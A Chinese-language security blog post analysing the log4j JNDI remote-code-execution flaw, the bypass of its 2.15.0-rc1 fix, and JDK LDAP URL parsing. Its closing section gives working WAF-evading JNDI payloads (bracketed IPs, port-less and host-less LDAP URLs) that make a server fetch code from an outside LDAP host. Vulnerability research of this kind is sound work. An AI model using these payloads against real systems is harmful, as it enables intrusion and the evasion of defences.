如何跟蹤log4j漏洞原理及發現繞WAF的tips

log4j漏洞的形成原因已經有很多分析文章了，這里說一說我是如何在了解到有漏洞后，跟進漏洞產生原理的，以及發現的一些繞WAF tips

跟進漏洞產生原因的思路

如何發現漏洞產生原因的

了解到log4j <=2.14.1 存在RCE的情況，我馬上跑到其官方github看了一下，發現commit記錄中有兩個關鍵commit

• 第一，log4j不再自動對訊息中的lookup進行格式化，第一時間看到不是很懂
• 第二，限制JNDI默認支持，限制通過LDAP訪問服務器和類

這兩個點很容易聯想到是不是跟JNDI攻擊有關系，畢竟RMI和LDAP很容易做到RCE，跟進commit看看具體的修改情況，https://github.com/apache/logging-log4j2/commit/d82b47c6fae9c15fcb183170394d5f1a01ac02d3 這個commit中，對org.apache.logging.log4j.core.net.JndiManager.java進行了大量修改，特別是在lookup方法中，加了很多代碼

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仔細看了一下，沒有修改前，lookup方法直接通過this.context.lookup(name)執行JNDI操作，沒有任何過濾或者限制，而新增加的代碼在限制JNDI服務器、類，當天晚上看到payload后，馬上對log4j 2.14.1版本嘗試驗證一下，并在JndiManager#lookup方法中斷點看到如下

很明顯，name就是payload中給定的，仔細看一下呼叫堆疊就可以發現，log4j會對字串中的${}自動決議，也就是前面提到的commit備注資訊中寫到的，

如何繞過2.15.0-rc1版本

看到rc1版本存在繞過的訊息，又來看看官方github倉庫的commit記錄，里面有一條在更新到2.15.0-rc1版本后的commit記錄，提交的資訊是"handle URI exception"，即處理了URI出錯的情況，修改代碼情況如下圖

JndiManager#lookup方法處給catch陳述句中添加了兩行代碼，記錄URI決議錯誤并回傳null，而添加這兩行代碼前，此處只有一行注釋，因此catch報錯后會繼續向下執行this.context.lookup，也就意味著前面try陳述句中的代碼報錯后，會繼續執行JNDI操作，繞過也就來自于這里，

來看看try陳述句是什么寫的

代碼比較長沒有完全截進來，關鍵點是進入lookup方法后，立即將name變數送入URI類的建構式中，此時只要URI的建構式對name字串決議出錯，即可跳轉到catch陳述句，進而向下執行到JNDI操作，

那么我們要關注的點就是讓new URI(name)處報錯，但是name又能被jndi正常識別，好在我們用marshalsec構造ldap服務時，不需要關心uri長什么樣，所以可以在uri上做文章，

跟蹤源代碼可以查看到URI對字符的支持情況

數字、字母大小寫這些就不說了，其它可列印字符也不多，從上面的注釋中可以看到URI對反引號`，空格，尖括號<>并不支持，基于這一點，可以做個簡單的實驗

空格和尖括號同樣報錯，就不重復截圖了，回到前面提到的2.15.0-rc1版本對JndiManager#lookup方法的修復情況，并沒有在catch陳述句中添加回傳操作或報錯，程式遇到報錯后，會繼續向下執行，從而造成危險，

由于找了很久都沒有找到log4j-core-2.15.0-rc1.jar這個包，所以自己寫了個函式模擬一下繞過的場景

LDAP繞WAF的tips

URI決議

看完rc1版本的繞過后，又想了一下，防御工具可能會有針對性的做一些關鍵字檢測，所以我打算從LDAP更深層的源代碼看看有沒有對字串變形的可能性，

跟著this.context.lookup(name)處向下跟進到com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN方法，代碼如下

注意var0也就是輸入是完整的"ldap://192.168.34.96:1389:/a"，而后var2可以使用getHost和getPort方法獲取host和port，說明var2物件在創建時決議了ldap地址，跟進LdapURL類到達Uri#parse方法

• com.sun.jndi.toolkit.url.Uri#parse

private void parse(String var1) throws MalformedURLException {
    int var2 = var1.indexOf(58);
    if (var2 < 0) {
        throw new MalformedURLException("Invalid URI: " + var1);
    } else {
        this.scheme = var1.substring(0, var2);
        ++var2;
        this.hasAuthority = var1.startsWith("//", var2);
        int var3;
        if (this.hasAuthority) {
            var2 += 2;
            var3 = var1.indexOf(47, var2);
            if (var3 < 0) {
                var3 = var1.length();
            }

            int var4;
            if (var1.startsWith("[", var2)) {
                var4 = var1.indexOf(93, var2 + 1);
                if (var4 < 0 || var4 > var3) {
                    throw new MalformedURLException("Invalid URI: " + var1);
                }

                this.host = var1.substring(var2, var4 + 1);
                var2 = var4 + 1;
            } else {
                var4 = var1.indexOf(58, var2);
                int var5 = var4 >= 0 && var4 <= var3 ? var4 : var3;
                if (var2 < var5) {
                    this.host = var1.substring(var2, var5);
                }

                var2 = var5;
            }

            if (var2 + 1 < var3 && var1.startsWith(":", var2)) {
                ++var2;
                this.port = Integer.parseInt(var1.substring(var2, var3));
            }

            var2 = var3;
        }

        var3 = var1.indexOf(63, var2);
        if (var3 < 0) {
            this.path = var1.substring(var2);
        } else {
            this.path = var1.substring(var2, var3);
            this.query = var1.substring(var3);
        }

    }
}

此時var1=“ldap://192.168.34.96:1389/a”

• var2第一次賦值為(char)58也就是 : 在ldap中的索引，如果不存在 : 則直接報錯
• this.scheme賦值為第1個字符到 : 之間的字串，也就是ldap、ldaps
• var2第二次賦值自加1，而后檢查冒號后是否存在//，如果不存在，則host和port都直接為null，進入path和query決議部分，也就是路徑和引數
• 第一個冒號后存在//，則進入if陳述句，var2第三次賦值，再加2，也就是跳過了//繼續向后判斷
• (char)47 也就是/，給var3=var1.indexOf("/",
  var2)，實際上為://后第一個/的索引，這是用來找到host和port的一個定位，但很有可能后面沒有/(即var1=“ldap://192.168.1.1:1389”，此時var3直接賦值為var1.length，也就是var1最大索引+1)
• 再往下走，會先判斷://和var3直接有沒有 [ 和 ] 符號對，且 ]
  不能在var3后面否則會直接報錯，這里有個意外情況就是ldap://[localhost:1389]/a這樣寫的話，會將localhost:1389當成host
• 如果沒有出現[]符號對，則賦值var4為://后的第一個：的索引，然后判斷var4>=0 且
  var4<=var3，也就是冒號:必須存在且在var3的前面，條件達成則賦值為var5=var4，否則var5=var3，即從://和:之間獲取host，或者從://和/之間獲取host，此時出現騷操作"ldap://localhost/:"，則host=localhost，騷操作"ldap://localhost"，則host=null
• 繼續往后走，如果正常在://和var3之間出現冒號，則可以截取出port，如果前面的騷操作"ldap://localhost/:"，則port為默認值-1，這個-1在后面大有可為：）

后面決議path和query的部分就不看了，回到com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN也就是上面那個圖片的位置，此時host和port都決議好了，正式開啟發起ldap請求

LDAP發起

com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN，執行到new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl())，即此時LdapURL已經決議完成，host和port都有了，跟進LdapCtx的構造方法，代碼如下

public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException {
    this.useSsl = this.hasLdapsScheme = var5;
    if (var4 != null) {
        this.envprops = (Hashtable)var4.clone();
        if ("ssl".equals(this.envprops.get("java.naming.security.protocol"))) {
            this.useSsl = true;
        }

        this.trace = (OutputStream)this.envprops.get("com.sun.jndi.ldap.trace.ber");
        if (var4.get("com.sun.jndi.ldap.netscape.schemaBugs") != null || var4.get("com.sun.naming.netscape.schemaBugs") != null) {
            this.netscapeSchemaBug = true;
        }
    }

    this.currentDN = var1 != null ? var1 : "";
    this.currentParsedDN = parser.parse(this.currentDN);
    this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";
    if (this.hostname.charAt(0) == '[') {
        this.hostname = this.hostname.substring(1, this.hostname.length() - 1);
    }

    if (var3 > 0) {
        this.port_number = var3;
    } else {
        this.port_number = this.useSsl ? 636 : 389;
        this.useDefaultPortNumber = true;
    }

    this.schemaTrees = new Hashtable(11, 0.75F);
    this.initEnv();

    try {
        this.connect(false);
    } catch (NamingException var9) {
        try {
            this.close();
        } catch (Exception var8) {
        }

        throw var9;
    }
}

這里主要關注hostname和port_number兩個引數，即下面的代碼塊

this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";
if (this.hostname.charAt(0) == '[') {
    this.hostname = this.hostname.substring(1, this.hostname.length() - 1);
}

if (var3 > 0) {
    this.port_number = var3;
} else {
    this.port_number = this.useSsl ? 636 : 389;
    this.useDefaultPortNumber = true;
}

其中var2=LdapURL中決議的host，var3=LdapURL中決議的port

• 注意到代碼邏輯，如果var2為null，則直接使this.hostname=“localhost”；
• 如果hostname的第一個字符為"["，則取出第二個字符至倒數第二個字符的子字串，即從[ip]，去掉[]，獲得ip
• 如果var3<=0，即LdapURL決議port失敗，則在使用ldaps時，埠改為636，使用ldap時，埠強制改為389

這些邏輯是變換ldap字串的關鍵

Bypass WAF tips

根據前面LdapURL和LdapCtx的決議邏輯，可以對log4j的payload做出如下變換

• 不出現port，避免被waf匹配ip:port

${jndi:ldap:192.168.1.1/a}
${jndi:ldap:192.168.1.1:/a}
注意此時需要ldap服務埠為389

• 對IP添加包裹

前面兩個類的決議邏輯中都有對中括號[]的處理，所以給ip添加一下包裹

${jndi:ldap://[192.168.34.96]/a}
${jndi:ldap://[192.168.34.96]]/a} 
LdapURL取出"[ip]"，LdapCtx去除[]獲得ip，兩種情況下埠都是389

• 不出現ip和埠(有點雞肋)

${jndi:ldap:/a}
此時相當于ldap://localhost:389/a

這種情況主要是來自于LdapURL決議URL時出錯，導致host=null，port=-1，而后LdapCtx中發現host=null，則將host置為localhost，畢竟這樣做看起來是可信的

原理是，LdapURL決議時有個關鍵處理如下

this.hasAuthority = var1.startsWith("//", var2);   // var2=第一個冒號的索引
if (hasAuthority){
    決議獲取host和port
}

此時不出現://這個整體，就可以直接跳出host和port的獲取，而后在LdapCtx中對host=null時，賦值為localhost，對port=默認值-1時，賦值為389

這個payload需要在目標上執行命令或其它方式開啟ldap和檔案下載服務，但都可以在目標上執行命令了，還需要這樣干嗎？所以有點雞肋，除非java程式的權限比可以執行命令的用戶權限更高，從而拿到更高權限(不過提權姿勢也很多啊)

• 不出現jndi:ldap關鍵字

通過upperCase、fastjson的unicode編碼等方法可以避免該關鍵字，具體就不重復寫，直接參考淺藍師傅的博客了https://b1ue.cn/archives/513.html ，

另外可以對log4j決議${}的部分深入了解一下，還能通過其自身特性，避免直接出現jndi:ldap關鍵字，但不是自己研究出來的就不公開了